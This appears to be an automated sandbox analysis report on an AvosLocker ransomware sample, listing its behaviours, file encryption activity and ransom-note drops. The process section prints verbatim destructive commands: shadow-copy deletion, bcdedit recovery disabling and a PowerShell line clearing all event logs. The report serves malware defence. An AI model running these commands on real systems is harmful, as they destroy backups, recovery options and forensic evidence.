Malware Analysis Report

2025-01-22 20:51

Sample ID 241225-q5q5aavjct
Target testing.exe
SHA256 368041501211167866ce2f39dfd64e596707763d2c9e448565e28d92c649aa71
Tags
avoslocker defense_evasion discovery evasion execution impact ransomware
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

368041501211167866ce2f39dfd64e596707763d2c9e448565e28d92c649aa71

Threat Level: Known bad

The file testing.exe was found to be: Known bad.

Malicious Activity Summary

avoslocker defense_evasion discovery evasion execution impact ransomware

Avoslocker Ransomware

Avoslocker family

Renames multiple (8476) files with added filename extension

Modifies boot configuration data using bcdedit

Renames multiple (10383) files with added filename extension

Deletes shadow copies

Checks computer location settings

Executes dropped EXE

Drops desktop.ini file(s)

Enumerates connected drives

Sets desktop wallpaper using registry

Drops file in Program Files directory

Command and Scripting Interpreter: PowerShell

System Location Discovery: System Language Discovery

Unsigned PE

Enumerates physical storage devices

Suspicious behavior: AddClipboardFormatListener

Suspicious use of WriteProcessMemory

Interacts with shadow copies

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of FindShellTrayWindow

Suspicious behavior: GetForegroundWindowSpam

Uses Volume Shadow Copy service COM API

Suspicious use of SendNotifyMessage

Suspicious use of SetWindowsHookEx

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-12-25 13:50

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-12-25 13:50

Reported

2024-12-25 13:53

Platform

win10v2004-20241007-en

Max time kernel

134s

Max time network

139s

Command Line

"C:\Users\Admin\AppData\Local\Temp\testing.exe"

Signatures

Avoslocker Ransomware

ransomware avoslocker

Avoslocker family

avoslocker

Deletes shadow copies

ransomware defense_evasion impact execution

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Renames multiple (8476) files with added filename extension

ransomware

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\testing.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A

Drops desktop.ini file(s)

Description Indicator Process Target
File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\Z: C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1247608375.png" C:\Windows\system32\reg.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\uk-ua\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Windows Media Player\Network Sharing\wmpnss_color120.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\SkypeforBusiness2019R_Trial-ul-oob.xrm-ms C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File created C:\Program Files (x86)\Internet Explorer\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\uk-ua\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themeless\print_poster.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\es-es\ui-strings.js C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File created C:\Program Files\VideoLAN\VLC\lua\meta\art\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectProXC2RVL_MAKC2R-ul-oob.xrm-ms C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\VisioStdO365R_Subscription-pl.xrm-ms C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\root\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\pl-pl\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\OutlookMailSmallTile.scale-200.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\locale\ca\LC_MESSAGES\vlc.mo C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\DSCResources\MSFT_PackageManagement\ja-JP\MSFT_PackageManagement.schema.mfl C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_nothumbnail_34.svg C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_uinline_warning.svg C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectStdO365R_SubTrial-pl.xrm-ms C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\ro.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\CourierStd.otf C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\es-es\ui-strings.js C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\en-il\ui-strings.js C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File created C:\Program Files\VideoLAN\VLC\locale\kk\LC_MESSAGES\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\Trust Protection Lists\Mu\LICENSE.DATA C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxA-Advanced-Dark.scale-200.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxCalendarSplashLogo.scale-400.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\sdxs.xml C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectProMSDNR_Retail-ul-phn.xrm-ms C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProfessionalR_OEM_Perp-ul-oob.xrm-ms C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectProR_Retail2-ppd.xrm-ms C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File created C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Java\jre-1.8\lib\javaws.jar C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Java\jre-1.8\lib\deploy\messages_ko.properties C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Java\jre-1.8\legal\javafx\glib.md C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\da-dk\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\cstm_brand_preview.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\fr-ma\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\ja-jp\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\themes\dark\rhp_world_icon.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\VisioStdCO365R_Subscription-pl.xrm-ms C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\es-es\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\cs-cz\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File created C:\Program Files\VideoLAN\VLC\locale\km\LC_MESSAGES\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365HomePremR_Subscription5-ppd.xrm-ms C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\VisualElements\SmallLogo.png.DATA C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\Locales\is.pak.DATA C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Notifications\SoftLandingAssetDark.gif C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\System\Ole DB\de-DE\msdaorar.dll.mui C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\sv-se\ui-strings.js C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\example_icons2x.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\POWERPNT.HXS C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProPlusR_Retail-ul-oob.xrm-ms C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProPlusR_Retail-pl.xrm-ms C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\VisioProR_OEM_Perp-pl.xrm-ms C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Common Files\System\ado\msado28.tlb C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\uk-ua\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File created C:\Program Files\VideoLAN\VLC\lua\http\images\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File created C:\Program Files\MSBuild\Microsoft\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_sortedby_up_18.svg C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\HxA-Google.scale-125.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\REFINED\REFINED.ELM C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\vssadmin.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\VideoLAN\VLC\vlc.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Program Files\VideoLAN\VLC\vlc.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\VideoLAN\VLC\vlc.exe N/A
N/A N/A C:\Program Files\VideoLAN\VLC\vlc.exe N/A
N/A N/A C:\Program Files\VideoLAN\VLC\vlc.exe N/A
N/A N/A C:\Program Files\VideoLAN\VLC\vlc.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files\VideoLAN\VLC\vlc.exe N/A
N/A N/A C:\Program Files\VideoLAN\VLC\vlc.exe N/A
N/A N/A C:\Program Files\VideoLAN\VLC\vlc.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files\VideoLAN\VLC\vlc.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2500 wrote to memory of 1088 N/A C:\Users\Admin\AppData\Local\Temp\testing.exe C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe
PID 2500 wrote to memory of 1088 N/A C:\Users\Admin\AppData\Local\Temp\testing.exe C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe
PID 2500 wrote to memory of 1088 N/A C:\Users\Admin\AppData\Local\Temp\testing.exe C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe
PID 1088 wrote to memory of 5088 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\SYSTEM32\cmd.exe
PID 1088 wrote to memory of 5088 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\SYSTEM32\cmd.exe
PID 1088 wrote to memory of 3460 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\SYSTEM32\cmd.exe
PID 1088 wrote to memory of 3460 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\SYSTEM32\cmd.exe
PID 1088 wrote to memory of 2000 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\SYSTEM32\cmd.exe
PID 1088 wrote to memory of 2000 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\SYSTEM32\cmd.exe
PID 1088 wrote to memory of 3112 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\SYSTEM32\cmd.exe
PID 1088 wrote to memory of 3112 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\SYSTEM32\cmd.exe
PID 1088 wrote to memory of 3016 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\SYSTEM32\cmd.exe
PID 1088 wrote to memory of 3016 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\SYSTEM32\cmd.exe
PID 3460 wrote to memory of 876 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 3460 wrote to memory of 876 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 3016 wrote to memory of 3024 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3016 wrote to memory of 3024 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3112 wrote to memory of 768 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 3112 wrote to memory of 768 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2000 wrote to memory of 4684 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2000 wrote to memory of 4684 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 5088 wrote to memory of 4784 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 5088 wrote to memory of 4784 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 1088 wrote to memory of 38660 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1088 wrote to memory of 38660 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 38660 wrote to memory of 17756 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 38660 wrote to memory of 17756 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 38660 wrote to memory of 17916 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe
PID 38660 wrote to memory of 17916 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Users\Admin\AppData\Local\Temp\testing.exe

"C:\Users\Admin\AppData\Local\Temp\testing.exe"

C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe

"C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe"

C:\Windows\SYSTEM32\cmd.exe

cmd /c wmic shadowcopy delete /nointeractive

C:\Windows\SYSTEM32\cmd.exe

cmd /c vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\SYSTEM32\cmd.exe

cmd /c bcdedit /set {default} recoveryenabled No

C:\Windows\SYSTEM32\cmd.exe

cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\SYSTEM32\cmd.exe

cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"

C:\Windows\system32\vssadmin.exe

vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} recoveryenabled No

C:\Windows\System32\Wbem\WMIC.exe

wmic shadowcopy delete /nointeractive

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

